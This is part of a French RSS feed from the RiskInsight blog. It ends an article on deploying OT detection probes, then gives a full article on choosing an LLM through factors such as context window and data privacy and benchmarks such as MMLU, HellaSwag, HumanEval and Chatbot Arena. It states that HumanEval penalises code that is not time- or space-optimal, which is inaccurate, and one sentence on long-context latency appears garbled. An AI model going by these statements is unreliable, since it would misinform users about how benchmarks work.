<p><img loading="lazy" decoding="async" class="size-full wp-image-24239 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100055.png" alt="" width="1088" height="469" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100055.png 1088w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100055-437x188.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100055-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100055-768x331.png 768w" sizes="auto, (max-width: 1088px) 100vw, 1088px" /></p>
<p style="text-align: center;"><i><span data-contrast="auto">Image 4 : Les 3 clés d’un déploiement réussi</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<h2>Questionner la valeur ajoutée de ses sondes </h2>
<p><span data-contrast="auto">En l&rsquo;absence de cas d&rsquo;utilisation clairement identifiés et d&rsquo;objectifs déterminés, vous pouvez vous retrouver avec des sondes fournissant des informations inutilisées ou sans réelle valeur ajoutée. Les sondes OT sont coûteuses, à la fois financièrement et en termes de temps. Vous devez être sûr qu&rsquo;elles en valent la peine, et vous donnez les moyens de les exploiter pleinement.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Pour ce faire, prenez le temps d’évaluer la qualité et la valeur des informations remontées par les sondes OT avec vos différentes équipes (cybersécurité, exploitation, business …).</span><span data-ccp-props="{}"> </span></p>
<h2>Avancer pas à pas </h2>
<p><span data-contrast="auto">Ne craignez pas de commencer petit et de croître progressivement, qu&rsquo;il s&rsquo;agisse du nombre de sites déployés, du nombre de points d’écoute ou de cas d&rsquo;utilisation des sondes OT.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">L&rsquo;exploitation à long terme des sondes OT est complexe et se construit au fil des déploiements. Prenez le temps de soigner l’adoption de la solution : si vous voulez que les équipes utilisent la solution, formez les et montrez en leur la valeur ! </span><span data-ccp-props="{}"> </span></p>
<h2>Compter sur l’amélioration continue </h2>
<p><span data-contrast="auto">Les sondes OT peuvent fournir nombre de fonctionnalités allant de la détection d&rsquo;incidents à la cartographie, en passant par la gestion des vulnérabilités et bien d&rsquo;autres encore qui doivent être publiées par les éditeurs.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Concentrez-vous d&rsquo;abord sur les fonctionnalités qui réduisent vos risques OT, en améliorant progressivement les services au fur et à mesure qu&rsquo;ils gagnent en maturité !</span><span data-ccp-props="{}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/">Sondes de détection pour l’OT : Les clés pour réussir son déploiement </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Quel LLM vous convient ? Optimiser l&#8217;utilisation des benchmarks des LLM en interne.</title>
		<link>https://www.riskinsight-wavestone.com/2024/09/quel-llm-vous-convient-optimiser-lutilisation-des-benchmarks-des-llm-en-interne/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/09/quel-llm-vous-convient-optimiser-lutilisation-des-benchmarks-des-llm-en-interne/#respond</comments>
		
		<dc:creator><![CDATA[Jeanne PIGASSOU]]></dc:creator>
		<pubDate>Wed, 25 Sep 2024 14:24:05 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Benchmarks]]></category>
		<category><![CDATA[Chatbot arena]]></category>
		<category><![CDATA[HellaSwag]]></category>
		<category><![CDATA[HumanEval]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[Intelligence Artificielle]]></category>
		<category><![CDATA[LLM]]></category>
		<category><![CDATA[MMLU]]></category>
		<category><![CDATA[modèles de langage de grande taille]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23980</guid>

					<description><![CDATA[<p>Depuis le lancement de ChatGPT en novembre 2022, de nombreuses entreprises ont commencé à développer et à publier leurs propres modèles de langage de grande taille (LLM). À tel point que nous sommes actuellement dans une phase que de nombreux...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/09/quel-llm-vous-convient-optimiser-lutilisation-des-benchmarks-des-llm-en-interne/">Quel LLM vous convient ? Optimiser l&rsquo;utilisation des benchmarks des LLM en interne.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Depuis le lancement de ChatGPT en novembre 2022, de nombreuses entreprises ont commencé à développer et à publier leurs propres modèles de langage de grande taille (LLM). À tel point que nous sommes actuellement dans une phase que de nombreux experts décrivent comme une « course à l&rsquo;IA ». Non seulement entre les entreprises, mais aussi entre les pays et les organisations internationales. Cette course à l&rsquo;IA décrit la frénésie mondiale visant à construire de meilleurs modèles, tout en élaborant des directives et des réglementations pour les encadrer. <strong>Mais qu&rsquo;est-ce qu&rsquo;un meilleur modèle, exactement ?</strong></p>
<p style="text-align: justify;">Pour répondre à cette question, des chercheurs et des ingénieurs du monde entier ont mis au point un système standardisé pour tester les LLM dans divers contextes, domaines de connaissance, et les quantifier de manière objective. Ces tests sont communément appelés des « Benchmarks », et différents benchmarks reflètent des cas d&rsquo;utilisation très variés.</p>
<p style="text-align: justify;">Cependant, pour l’utilisateur moyen, ces benchmarks seuls ne signifient pas grand-chose. Il existe un manque évident de sensibilisation pour l&rsquo;utilisateur final : un résultat de 97,3 % dans le benchmark « MMLU » est difficile à comprendre et à transposer dans leurs tâches quotidiennes.</p>
<p style="text-align: justify;">Pour éviter de telles confusions, l&rsquo;article présente des facteurs qui limitent les choix d&rsquo;un utilisateur en matière de LLM, les benchmarks de LLM les plus populaires et largement utilisés, leurs cas d&rsquo;utilisation, et comment ils peuvent aider les utilisateurs à choisir le LLM le plus optimal pour eux.</p>
<p> </p>
<h2 style="text-align: justify;">Facteurs qui impactent le choix des LLM</h2>
<p>Différents facteurs impactent la qualité du modèle : la date limite de connaissance, l&rsquo;accès à Internet, la multimodalité, la confidentialité des données, la fenêtre contextuelle ainsi que la vitesse et la taille des paramètres. Ces facteurs doivent être bien établis avant de passer aux évaluations des benchmarks et aux comparaisons de modèles, car ils limitent les modèles que vous pouvez utiliser en premier lieu.</p>
<h3><strong>Date limite de connaissances et accès à Internet</strong></h3>
<p style="text-align: justify;">Presque tous les modèles sur le marché ont une date limite de connaissance. Il s&rsquo;agit de la date à laquelle la collecte de données pour la formation du modèle prend fin. Par exemple, si la date limite est septembre 2021, le modèle n&rsquo;a aucun moyen de connaître les informations après cette date. Les dates limites sont généralement fixées un à deux ans avant la publication du modèle.</p>
<p style="text-align: justify;">Cependant, pour surmonter ce problème, certains modèles tels que Copilot (GPT-4) et Gemini ont été dotés d&rsquo;un accès à Internet, leur permettant de naviguer sur le web. Cela a permis à des modèles ayant une date limite de connaissances de continuer à accéder aux nouvelles et aux articles les plus récents. Cet accès permet également aux LLM de fournir des références aux utilisateurs, ce qui réduit le risque d&rsquo;hallucinations et rend les réponses plus fiables.</p>
<p style="text-align: justify;">Enfin, l&rsquo;accès à Internet est une fonctionnalité ajoutée au modèle plutôt qu&rsquo;une caractéristique intrinsèque du modèle lui-même. Il est donc limité aux modèles disponibles sur Internet, principalement ceux en source fermée et hébergés dans le cloud. Pour cette raison, il est important de déterminer vos besoins et de vérifier si disposer d&rsquo;informations à jour est réellement essentiel pour atteindre vos objectifs.</p>
<h3 style="text-align: justify;">Multimodalité</h3>
<p style="text-align: justify;">Différentes applications nécessitent des usages variés des LLM. Alors que la plupart d&rsquo;entre nous les utilisent principalement pour leurs capacités de génération de texte, de nombreux LLM sont en réalité capables d&rsquo;analyser des images, des voix, et de répondre avec des images également.</p>
<p style="text-align: justify;">Cependant, tous les LLM n&rsquo;ont pas cette capacité. La capacité d&rsquo;analyser différentes formes d&rsquo;entrée (texte, image, voix) est ce que l&rsquo;on appelle la « multimodalité ». C&rsquo;est un facteur important à prendre en compte, car si votre tâche nécessite l&rsquo;analyse de messages vocaux ou de diagrammes d&rsquo;entreprise, il est essentiel de rechercher des modèles qui sont multimodaux, tels que Claude 3 et ChatGPT.</p>
<h3 style="text-align: justify;">Protection des données</h3>
<p style="text-align: justify;">L&rsquo;un des risques liés à l&rsquo;utilisation de la plupart des modèles actuellement disponibles sur le marché est la confidentialité et la fuite des données. Plus précisément, la confidentialité et la sécurité des données dans les LLM peuvent être divisées en deux parties :</p>
<ol>
<li style="text-align: justify;"><strong>Confidentialité des données lors de l&rsquo;entraînement et de l&rsquo;ajustement</strong> : il s&rsquo;agit de savoir si le modèle a été formé sur des données contenant des informations personnelles identifiables (PII) et s&rsquo;il pourrait divulguer ces informations personnelles lors des échanges avec les utilisateurs. Cela dépend de l&rsquo;ensemble de données utilisé pour l&rsquo;entraînement du modèle et du processus d&rsquo;ajustement.</li>
<li style="text-align: justify;"><strong>Confidentialité des données lors du réentraînement et de la mémorisation</strong> : il s&rsquo;agit de savoir si le modèle utilise les conversations avec les utilisateurs pour se réentraîner, ce qui pourrait potentiellement entraîner la divulgation d&rsquo;informations d&rsquo;une conversation à une autre. Cependant, ce risque est limité à certains modèles en ligne. Cela dépend de la manière dont le modèle est configuré et des couches logicielles entre le modèle et l&rsquo;utilisateur.</li>
</ol>
<h3 style="text-align: justify;">Fenêtre contextuelle</h3>
<p style="text-align: justify;">La fenêtre contextuelle fait référence au nombre de jetons d&rsquo;entrée qu&rsquo;un modèle peut accepter. Ainsi, une fenêtre contextuelle plus grande signifie que le modèle peut accepter un texte d&rsquo;entrée plus important. Par exemple, le dernier modèle de Google, le Gemini 1.5 pro, dispose d&rsquo;une fenêtre contextuelle d&rsquo;un million de jetons, ce qui lui permet de lire des manuels entiers et de vous répondre sur la base des informations qu&rsquo;ils contiennent.</p>
<p style="text-align: justify;">Pour donner un contexte, une fenêtre de 1 million de jetons permet au modèle d&rsquo;analyser environ 60 livres entiers simplement à partir des entrées de l&rsquo;utilisateur avant de répondre à la demande de l&rsquo;utilisateur.</p>
<p style="text-align: justify;">Ainsi, il est donc évident que les modèles avec des fenêtres contextuelles plus grandes peuvent souvent être personnalisés pour répondre à des questions basées sur des documents d&rsquo;entreprise spécifiques sans avoir recours à la génération augmentée par récupération (RAG), qui est la solution la plus courante pour ce problème sur le marché.</p>
<p style="text-align: justify;">Cependant, les LLM facturent souvent les utilisateurs en fonction du nombre de jetons d&rsquo;entrée utilisés et il est donc à prévoir que les frais soient plus élevés lorsqu&rsquo;on utilise une fenêtre contextuelle plus grande. De plus, il n&rsquo;est pas courant que les modèles prennent plus de 10 minutes avant de répondre lorsqu&rsquo;ils utilisent une fenêtre contextuelle plus grande.</p>
<h3 style="text-align: justify;">Vitesse et taille des paramètres</h3>
<p style="text-align: justify;">Les LLM présentent des variations techniques qui peuvent influencer la rapidité de traitement de la demande de l&rsquo;utilisateur et la vitesse de génération de la réponse. La variation technique la plus importante qui affecte la vitesse des LLM est la taille des paramètres, qui fait référence au nombre de variables internes que le modèle possède. Ce nombre, généralement en milliards, reflète la sophistication du modèle, mais indique également que le modèle pourrait nécessiter plus de temps pour générer une réponse.</p>
<p style="text-align: justify;">Toutefois, l&rsquo;architecture interne du modèle a également son importance. Par exemple, certains des derniers modèles à plus de 70 milliards de paramètres sur le marché peuvent répondre en temps réel, tandis que certains modèles à 8 milliards de paramètres ont besoin de quelques minutes pour générer une réponse.</p>
<p style="text-align: justify;">Globalement, il est important de prendre en compte le compromis entre la vitesse d&rsquo;une part et la taille des paramètres (sophistication et complexité) d&rsquo;autre part, bien que cela dépende aussi fortement de l&rsquo;architecture interne du modèle et de l&rsquo;environnement dans lequel il est utilisé (API, service cloud, ou auto-déploiement, etc.).</p>
<p style="text-align: justify;">Néanmoins, la vitesse est un élément clé qui se situe à la frontière entre le facteur et le critère de référence puisqu&rsquo;elle est mesurée et utilisée pour comparer les différents modèles STOA. Cependant, la vitesse n&rsquo;est pas une forme d&rsquo;évaluation pragmatique standardisée et, pour cette raison, elle n&rsquo;est pas considérée comme un critère de référence.</p>
<h3 style="text-align: justify;">Prochaines étapes</h3>
<p style="text-align: justify;">Après avoir examiné les facteurs, les utilisateurs peuvent maintenant limiter leur choix de LLM et utiliser les critères d&rsquo;évaluation présentés dans la section suivante pour les aider à choisir le modèle le plus optimal. Cela permet à l&rsquo;utilisateur de maximiser son efficacité et de ne comparer que les modèles qui sont pertinents pour lui (en termes de date limite de connaissances, de vitesse, de confidentialité des données, etc.)</p>
<p> </p>
<h2 style="text-align: justify;">Comment les benchmarks sont-ils menés ?</h2>
<p style="text-align: justify;">Les benchmarks sont des outils utilisés pour évaluer la performance des LLM dans un domaine spécifique. Ils peuvent être réalisés de différentes manières, le facteur clé étant le nombre de paires question-réponse d&rsquo;exemples fournies au LLM avant qu&rsquo;il ne soit invité à résoudre une question réelle.</p>
<p style="text-align: justify;">Les benchmarks évaluent la capacité du LLM à accomplir une tâche spécifique. La plupart des benchmarks posent une question au LLM et comparent sa réponse avec une réponse correcte de référence. Si la réponse correspond, le score du LLM augmente. À la fin, les benchmarks fournissent un score de précision (Acc/Accuracy), qui est un pourcentage du nombre de questions auxquelles le LLM a répondu correctement.</p>
<p style="text-align: justify;">Cependant, en fonction de la méthode d&rsquo;évaluation, le LLM peut obtenir un certain contexte sur le benchmark, le type de questions ou d&rsquo;autres éléments. Cela se fait par le biais de tests à répétition ou d&rsquo;exemples multiples.</p>
<h3 style="text-align: justify;">Tests à répétition</h3>
<p>Les benchmarks sont réalisés de trois manières distinctes.</p>
<ol>
<li>Zéro répétition</li>
<li>Une répétition</li>
<li>Multi-répétition (souvent des multiples de 2 ou de 5)</li>
</ol>
<p style="text-align: justify;">Le terme « répétition » se réfère au nombre de fois qu&rsquo;une question exemple est donnée au LLM avant son évaluation.</p>
<p style="text-align: justify;">La raison pour laquelle nous avons différents types de tests (zéro répétition, une répétition, multi-répétitions) est que certains LLM surpassent d&rsquo;autres en termes de mémoire à court terme et d&rsquo;utilisation du contexte. Par exemple, le LLM1 pourrait avoir été formé avec plus de données et donc surpasser le LLM2 dans les tests zéro répétition. Cependant, la technologie sous-jacente du LLM2 lui permet de bénéficier d&rsquo;une capacité de raisonnement et de contextualisation supérieure, qui ne serait mesurée que par des évaluations d’une répétition ou de plusieurs répétitions.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23989" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-FR.png" alt="" width="537" height="202" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-FR.png 537w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-FR-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-FR-71x27.png 71w" sizes="auto, (max-width: 537px) 100vw, 537px" /></p>
<p style="text-align: center;"><em>Figure 1 : illustration de 3-shots vs 0-shot prompting</em></p>
<p style="text-align: justify;">Pour cette raison, chaque fois qu&rsquo;un LLM est évalué, des réglages à plusieurs répétitions sont utilisés pour garantir une compréhension complète du modèle et de ses capacités. Par exemple, si vous êtes intéressé par la recherche d&rsquo;un modèle qui contextualise bien et est capable de raisonner logiquement à travers de nouveaux et divers problèmes, envisagez d&rsquo;examiner comment la performance du modèle s&rsquo;améliore à mesure que le nombre de répétitions augmente. Si un modèle montre une amélioration significative, cela signifie qu&rsquo;il possède une forte capacité à raisonner et à apprendre des exemples précédents.</p>
<p> </p>
<h2 style="text-align: justify;">Principaux benchmarks et facteurs de différenciation</h2>
<p style="text-align: justify;">De nombreux benchmarks évaluent souvent les mêmes aspects. Il est donc important, lors de l&rsquo;examen des benchmarks, de comprendre ce qu&rsquo;ils évaluent, comment ils le font et quelles sont les implications de ces évaluations.</p>
<h3 style="text-align: justify;">Compréhension du Langage Multitâche Massif (MMLU)</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23991" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-FR.png" alt="" width="625" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-FR.png 625w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-FR-437x159.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-FR-71x26.png 71w" sizes="auto, (max-width: 625px) 100vw, 625px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24005" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2.png" alt="" width="1386" height="339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2.png 1386w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-437x107.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-768x188.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p style="text-align: center;"><em>Figure 2 : exemple d’un questionnaire à choix multiple</em></p>
<p style="text-align: justify;">Le MMLU est l&rsquo;un des benchmarks les plus largement utilisés. Il s&rsquo;agit d&rsquo;un ensemble de données au format de questions à choix multiple couvrant 57 sujets uniques à un niveau de licence. Ces sujets incluent les humanités, les sciences sociales, les STIM (Sciences, Technologie, Ingénierie et Mathématique) et plus encore. Pour cette raison, le MMLU est considéré comme le benchmark le plus complet pour tester les connaissances générales d&rsquo;un LLM dans tous les domaines. De plus, il est également utilisé pour identifier les lacunes dans les données d&rsquo;entraînement du LLM, car il n&rsquo;est pas rare qu&rsquo;un LLM soit exceptionnellement bon dans un sujet et moins performant dans un autre.</p>
<p style="text-align: justify;">Cependant, le MMLU ne contient que des questions en anglais. Ainsi, un excellent résultat au MMLU ne se traduit pas nécessairement par de bonnes performances lorsqu&rsquo;il s&rsquo;agit de répondre à des questions de culture générale en français ou en espagnol. De plus, le MMLU est exclusivement basé sur des questions à choix multiple, ce qui signifie que le LLM est testé uniquement sur sa capacité à choisir la bonne réponse. Cela ne signifie pas nécessairement que le LLM est compétent pour générer des réponses cohérentes, bien structurées et sans hallucinations lorsqu&rsquo;il est confronté à des questions ouvertes.</p>
<p style="text-align: justify;">En règle générale, un score MMLU moyen élevé pour l&rsquo;ensemble des 57 champs indique que le modèle a été entraîné sur une grande quantité de données contenant des informations sur de nombreux sujets différents. Ainsi, un modèle qui obtient de bons résultats en MMLU est un modèle qui peut être utilisé efficacement (éventuellement avec un peu d&rsquo;ingénierie) pour répondre aux FAQ, aux questions d&rsquo;examen et à d&rsquo;autres questions courantes de la vie quotidienne.</p>
<h3 style="text-align: justify;">HellaSwag (HS)</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23997" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-FR.png" alt="" width="622" height="225" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-FR.png 622w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-FR-437x158.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-FR-71x26.png 71w" sizes="auto, (max-width: 622px) 100vw, 622px" /></p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23999" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3.png" alt="" width="2063" height="351" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3.png 2063w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-437x74.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-768x131.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-1536x261.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-2048x348.png 2048w" sizes="auto, (max-width: 2063px) 100vw, 2063px" /></p>
<p style="text-align: center;"><em>Figure 3 : exemple d’une question HellaSwag </em></p>
<p style="text-align: justify;">HellaSwag est un acronyme pour « Harder Endings, Longer contexts, and Low-shot Activities for Situations with Adversarial Generations ». Il s&rsquo;agit d&rsquo;un autre benchmark massif (plus de 10 000 questions) axé sur l&rsquo;anglais et basé sur des questions à choix multiple. Cependant, contrairement au MMLU, le HS n&rsquo;évalue pas les connaissances factuelles ou spécifiques à un domaine. Au lieu de cela, le HS se concentre sur la cohérence et le raisonnement des LLM.</p>
<p style="text-align: justify;">Les questions comme celle ci-dessus mettent le LLM au défi en lui demandant de choisir la suite de la phrase qui a le plus de sens humain. Grammaticalement, ces phrases sont toutes valables, mais seule l&rsquo;une d&rsquo;entre elles respecte le bon sens.</p>
<p style="text-align: justify;">La raison pour laquelle ce critère a été choisi est qu&rsquo;il fonctionne en tandem avec le MMLU. Alors que le MMLU évalue les connaissances factuelles, le HS évalue si le LLM serait capable d&rsquo;utiliser ces connaissances factuelles pour vous fournir des réponses cohérentes et sensées.</p>
<p style="text-align: justify;">Une bonne façon de visualiser l&rsquo;utilisation de MMLU et HS est d&rsquo;imaginer le monde dans lequel nous vivons aujourd&rsquo;hui. Nous avons des ingénieurs et des développeurs qui possèdent une grande compréhension et des connaissances techniques, mais qui n&rsquo;ont aucun moyen de les communiquer correctement en raison des barrières linguistiques et sociales. Pour cette raison, nous avons des consultants et des gestionnaires qui ne possèdent peut-être pas des connaissances aussi approfondies, mais qui ont la capacité d&rsquo;organiser et de communiquer les connaissances des ingénieurs de manière cohérente et concise.</p>
<p style="text-align: justify;">Dans ce cas, le MMLU représente l&rsquo;ingénieur, tandis que le HS joue le rôle du consultant. L&rsquo;un évalue les connaissances, tandis que l&rsquo;autre évalue la communication.</p>
<h3 style="text-align: justify;">HumanEval (HE)</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23995" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-FR.png" alt="" width="625" height="243" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-FR.png 625w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-FR-437x170.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-FR-71x28.png 71w" sizes="auto, (max-width: 625px) 100vw, 625px" /></p>
<p style="text-align: justify;">Alors que le MMLU et le HS évaluent la capacité du LLM à raisonner et à répondre avec précision, HumanEval est le benchmark le plus populaire pour évaluer uniquement la capacité du LLM à générer du code utilisable pour 164 scénarios différents. Contrairement aux deux précédents, HumanEval n&rsquo;est pas basé sur des questions à choix multiple et permet au LLM de générer sa propre réponse. Cependant, toutes les réponses ne sont pas acceptées par le benchmark. Chaque fois qu&rsquo;un LLM est invité à coder une solution pour un scénario, HumanEval teste le code du LLM avec une variété de tests et de cas limites. Si l&rsquo;un de ces tests échoue, le LLM échoue également.</p>
<p style="text-align: justify;">De plus, HumanEval exige que le code généré par le LLM soit optimisé en termes de temps et d&rsquo;espace. Ainsi, si un LLM propose un certain algorithme alors qu&rsquo;un algorithme plus optimal est disponible, il perd des points. Pour cette raison, HumanEval teste également la capacité du LLM à comprendre précisément la question et à y répondre de manière exacte.</p>
<p style="text-align: justify;">HumanEval est un benchmark important, même pour les cas d&rsquo;utilisation non techniques, car il reflète de manière indirecte la sophistication et la qualité générales d&rsquo;un LLM. Pour la plupart des modèles, le public cible est composé de développeurs et des passionnés de technologie. Pour cette raison, il existe une forte corrélation positive entre des scores élevés à HumanEval et des scores élevés dans de nombreux autres benchmarks, ce qui indique que le modèle est de haute qualité. Cependant, il est important de garder à l&rsquo;esprit qu&rsquo;il s&rsquo;agit simplement d&rsquo;une corrélation, et non d&rsquo;une causalité, ce qui signifie que les choses pourraient évoluer à mesure que les modèles commencent à cibler de nouveaux utilisateurs.</p>
<h3 style="text-align: justify;">Chatbot Arena</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24009" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-FR.png" alt="" width="621" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-FR.png 621w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-FR-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-FR-71x25.png 71w" sizes="auto, (max-width: 621px) 100vw, 621px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24003" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4.png" alt="" width="1386" height="348" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4.png 1386w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-437x110.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-768x193.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p style="text-align: center;"><em>Figure 4 : exemple de l’interface Chatbot Arena</em></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24001" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5.png" alt="" width="341" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5-54x39.png 54w" sizes="auto, (max-width: 341px) 100vw, 341px" /></p>
<p style="text-align: center;"><em>Figure 5 : classement Chatbot Arena, juillet 2024</em></p>
<p style="text-align: justify;">Contrairement aux trois benchmarks précédents, Chatbot Arena n&rsquo;est pas un benchmark objectif, mais un classement subjectif de tous les LLM disponibles sur le marché. Chatbot Arena recueille les votes des utilisateurs et détermine quel LLM offre la meilleure expérience utilisateur globale, y compris la capacité à maintenir des dialogues complexes, comprendre les demandes des utilisateurs et d&rsquo;autres facteurs de satisfaction client. La nature subjective de Chatbot Arena en fait le meilleur benchmark pour évaluer l&rsquo;expérience utilisateur finale. Cependant, cette subjectivité le rend également non reproductible et difficile à quantifier réellement.</p>
<p style="text-align: justify;">Les classements actuels placent GPT-4o d&rsquo;OpenAI en tête de liste avec une marge importante par rapport à la deuxième place. Ce classement est très pertinent puisqu&rsquo;il est basé sur l&rsquo;opinion de 1,3 million de votes d&rsquo;utilisateurs.Cependant, ces votants proviennent principalement d&rsquo;un milieu technologique, et le classement pourrait donc être biaisé en faveur des modèles ayant de meilleures compétences en codage.</p>
<p style="text-align: justify;">Les classements sont établis sur la base du système ELO, un système à somme nulle où les modèles gagnent des points ELO en produisant des réponses meilleures que celles de leur modèle concurrent, tandis que ce dernier perd des points ELO.</p>
<h3 style="text-align: justify;">Évaluation globale des benchmarks</h3>
<p style="text-align: justify;">Les benchmarks peuvent présenter des biais et des limites internes. Ils peuvent être utilisés conjointement pour mieux représenter les capacités du modèle. Les modèles plus récents bénéficient d&rsquo;avantages en raison de leur architecture, de la taille de leurs données d&rsquo;entraînement et de la divulgation des questions de benchmark.</p>
<p style="text-align: justify;">Les trois benchmarks mentionnés plus un (Chatbot Arena) sont les plus populaires et les plus utilisés dans la recherche pour comparer les LLM. La combinaison de ces benchmarks (MMLU, HellaSwag, HumanEval et Chatbot Arena) évalue de nombreux aspects du LLM, de sa compréhension factuelle et de sa cohérence, à ses compétences en codage et à l&rsquo;expérience utilisateur. C’est pourquoi, ces quatre benchmarks sont largement utilisés dans de nombreux classements en ligne, car ils reflètent véritablement la nature du LLM.</p>
<p style="text-align: justify;">Cependant, il est important de considérer que les modèles LLM les plus récents bénéficient d&rsquo;un avantage considérable pour deux raisons principales :</p>
<ol>
<li style="text-align: justify;">Ils sont construits sur des architectures plus robustes, disposent de meilleures technologies sous-jacentes et ont accès à davantage de données pour l&rsquo;entraînement en raison de dates limites plus récentes et d&rsquo;une capacité matérielle plus grande.</li>
<li style="text-align: justify;">De nombreuses questions des benchmarks mentionnés précédemment ont été divulguées dans les données d&rsquo;entraînement des modèles.</li>
</ol>
<p style="text-align: justify;">Néanmoins, il existe de nombreux autres benchmarks disponibles sur Internet qui évaluent différents aspects des LLM et sont souvent utilisés ensemble pour offrir une vue complète de la performance du modèle.</p>
<h2 style="text-align: justify;"><br />Facteurs, Benchmarks et comment choisir votre LLM</h2>
<p style="text-align: justify;">En utilisant les facteurs et benchmarks mentionnés, vous pouvez comparer efficacement les LLM de manière quantifiable et objective, ce qui vous aidera à prendre une décision éclairée et à choisir le modèle le plus optimal pour vos besoins professionnels et vos tâches.</p>
